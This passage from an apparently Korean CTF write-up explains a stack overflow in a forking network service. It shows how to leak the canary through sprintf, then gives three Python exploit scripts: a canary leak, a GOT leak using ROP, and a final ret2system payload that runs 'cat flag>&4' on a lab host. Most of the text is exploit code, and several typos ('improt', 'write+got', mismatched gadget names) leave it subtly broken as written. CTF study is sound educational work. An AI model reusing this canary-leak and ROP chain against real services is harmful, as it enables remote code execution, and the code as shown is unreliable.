취약점이 발생하는 부분이다. write(fd, "Are you sure? (y/n) ", 0x14u); 바로 밑의 read 함수에서 오버플로우 취약점이 존재한다.
그리고 read 함수에서 입력받은 첫 번째 바이트가 'y' 일 경우 You choose '%s' ! 가 출력된다.
PIE 는 걸려있지 않지만, NX 와 Canary 값이 존재하는 것을 볼 수 있다. 이 프로그램의 경우 fork를 사용하기에 Canary 값이 랜덤하지 않다.
Canary 값은 sprintf(s, "You choose '%s' !\n", &buf) 부분을 이용하여 릭 할 수 있다.
sprintf 는 0x00 을 만날때까지 출력해주는데 이 때 Canary 값의 첫 바이트는 0x00 이다. Canary 값의 첫 바이트를 다른 값으로 덮어준다면 0x00 을 만나지 않았기 때문에 그 뒤의 Canary 값까지 출력이 된다.
Buf 에서 Canary 까지의 거리는 0x0A 이다. 따라서 11번째 값부터 Canary 첫 번째 바이트를 덮어쓰게 된다.
- - - - - - - - - - - - - - - - - - - - - canary_leak.py - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct improt *
import hexdump
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 8888))
print s.recv(4096)
time.sleep(1)
print s.recv(4096)
time.sleep(1)
s.send("4\n")
time.sleep(1)
print s.recv(1024)
time.sleep(1)
s.send("y"*11)
print "\n"
print "[*] Canary Leak !!"
hexdump.hexdump(s.recv(4096))
hexdump.hexdump(s.recv(4096)) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - write_leak.py - - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct import *
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 8888))
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)
canary = p(0xba576300)
p3r = 0x08048cd8
write_plt = 0x080486e0
write+got = 0x0804b040
payload = ""
payload += "y"*10
payload += canary
payload += "B"*12
payload += p(write_plt)
payload += p(p3r)
payload += p(4)
payload += p(write_got)
payload += p(4)
print s.recv(4096)
sleep(1)
print s.recv(4096)
sleep(1)
s.send("4\n")
sleep(1)
print s.recv(4096)
sleep(1)
s.send(payload)
sleep(1)
print "[*] write_got Leak!! "
print "[*] write_got = " + hex(up(s.recv(4))[0])
s.close()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct import *
import time
p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)
write_plt = 0x080486e0
write_got = 0x0804b040
read_plt = 0x08048620
pr3 = 0x08048cd8
bss = 0x0804b080
system_addr = 0xb756d460
canary = 0xba576300
cmd = "cat flag>&4\x00"
payload = ""
payload += "y"*10
payload += p(canary)
payload += "B"*12
payload += p(read_plt)
payload += p(p3r)
payload += p(4)
payload += p(bss)
payload += p(len(cmd))
payload += p(system_addr)
payload += "A"*4
payload += p(bss)
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 8888))
print s.recv(4096)
time.sleep(1)
print s.recv(4096)
time.sleep(1)
s.send("4\n")
print s.recv(4096)
s.send(payload)
time.sleep(1)
s.send(cmd)
print s.recv(1024)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[CodeGate 2014 CTF] nuclear (0) | 2016.04.19 |
---|---|
[CodeGate 2013 CTF] vuln200 (0) | 2016.04.17 |
[Plaid 2013 CTF] ropasaurusrex (0) | 2016.03.24 |
[HolyShield 2016 CTF] Vulnerable_Protocol (0) | 2016.01.26 |
[HolyShield 2016 CTF] Trip around the world (0) | 2016.01.22 |